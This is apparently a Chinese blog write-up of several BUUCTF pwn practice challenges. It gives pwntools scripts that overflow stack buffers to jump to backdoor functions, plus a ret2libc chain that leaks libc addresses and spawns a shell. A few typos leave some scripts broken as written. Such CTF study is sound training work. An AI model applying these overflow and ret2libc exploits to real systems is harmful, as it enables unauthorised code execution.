BUUCTF-pwn(1)

test_your_nc

这道题很简单!送分题,直接nc就可以!
在这里插入图片描述


rip

这道题是直接的栈溢出!附上三张图!
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

from pwn import *
r = remote(给你的地址,端口)
payloda = b'a'*(0xf+0x8)+p64(0x0401186)
r.sendlineafter('please input',payload)
r.interactive()

warmup_csaw_2016

先看保护!
在这里插入图片描述
再来看看源代码!
在这里插入图片描述

from pwn import *
context.log_level='debug'
r = remote('node3.buuoj.cn',25214)
r.recvuntil('WOW:0x')
payload = int(r.recv(8),16)
payload = b'a'*(0x40+0x8) + p64(payload)
r.sendline(payload)
print(r.recv())
r.interactive()

timeout: the monitored command dumped core
上面的脚本会出现flag,但是这个错误依然出来了,BUU官方有文档介绍!主要是64为里面栈没有对齐!
在这里插入图片描述


ciscn_2019_n_1

在这里插入图片描述
再来看看源代码!
在这里插入图片描述
在这里插入图片描述
浮点数是不能直接输入的,我们的将其更改为十六进制然后再进行输入!使用的是IEEE 754浮点数十六进制相互转换

from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',29600)
payload = b'a'*(0x30-0x4)+p64(0x41348000)
r.sendlineafter("Let's guess the number.",payload)
print(r.recv())
r.interactive()

在这里插入图片描述


pwn1_sctf_2016

在这里插入图片描述
源代码上!
在这里插入图片描述
此时我们nc一波!
在这里插入图片描述
此时可以找到后门函数!
在这里插入图片描述

from pwn import *
context.log_level = 'debug'
r = remote('node3.buuoj.cn',26487)
payload = b'I'*(21) + b'a' + p32(0x08048F0D)
r.sendline(payload)
print(r.recv())
r.interactive()

这样子flag就出来了!
在这里插入图片描述


jarvisoj_level0

在这里插入图片描述
源代码!
在这里插入图片描述
这里我们搜索字符串是可以发现system和/bin/sh这串字符的,但是其它的就没有了!并且system是在LOAD段的,所以是不可直接使用的!在这里插入图片描述
在这里插入图片描述
后门函数也找到了!

from pwn import *
context.log_level = 'debug'
r = remote('node3.buuoj.cn',29270)
payload = b'a'*(0x80+0x8) + p64(0x0400596)
r.sendlineafter('Hello, World\n',payload)
#print(r.recv())
r.interactive()

在这里插入图片描述


ciscn_2019_c_1

在这里插入图片描述
源代码!并且通过搜索并没有得到system和/bin/sh这两二个函数!是一个ret2libc的题型!
并且是个菜单题目,但不涉及堆!其实三个选项只有一个有用而已!便是encrypt()函数
在这里插入图片描述
这里strlen函数遇到’/x00’便结束了,故我们可以使用’\x00’进行绕过!

此时我们便可以进行搜索一波信息!
在这里插入图片描述

系统调用时寄存器传参方法 X86-64下有16个64位寄存器: 其中%rdi、%rsi、%rdx,%rcx、%r8、%r9用作传递函数参数,分别对应第1个参数、第2个参数直到第6个参数 如果函数的参数个数超过6个,则超过的参数直接使用栈来传递。

然后我们需要找到它的libc版本!然后从动态链接库中找到我们想要的!

0xdeadbeef 是一个16进制魔术数字,是一种类似Leet的英文单词转写形式
大致把思路说一下吧!这里是个基础的ret2libc,涉及到动态链接库,其实在我眼里它的上限是很高的!

😔,这里我们需要泄露puts地址,泄露gets地址发现有13libc,而puts的地址可以碰撞到2个库,选择第0个即可。还需注意字符串的处理!还有一点!就是第二次的system需要进行栈对齐,所以加上一个ret指令!

rom pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='x86-64')

r = remote('node4.buuoj.cn',29043)
#r = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

main_addr = 0x0400B28
puts_plt = elf.plt['puts']

puts_got = elf.got['puts']
pop_rdi = 0x0400c83
ret = 0x04006b9

def begin(r):
    r.recvuntil("Input your choice!\n")
    r.sendline('1')
    r.recvuntil("Input your Plaintext to be encrypted\n")

begin(r)
payload = b'\x00'+b'a'*(0x50+0x7)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))

print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

begin(r)

payload = b'\x00'+b'a'*(0x50+0x7)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(0)
r.sendline(payload)

r.interactive()

在这里插入图片描述


posted @ 2021-08-09 14:38  望权栈  阅读(33)  评论(0编辑  收藏  举报  来源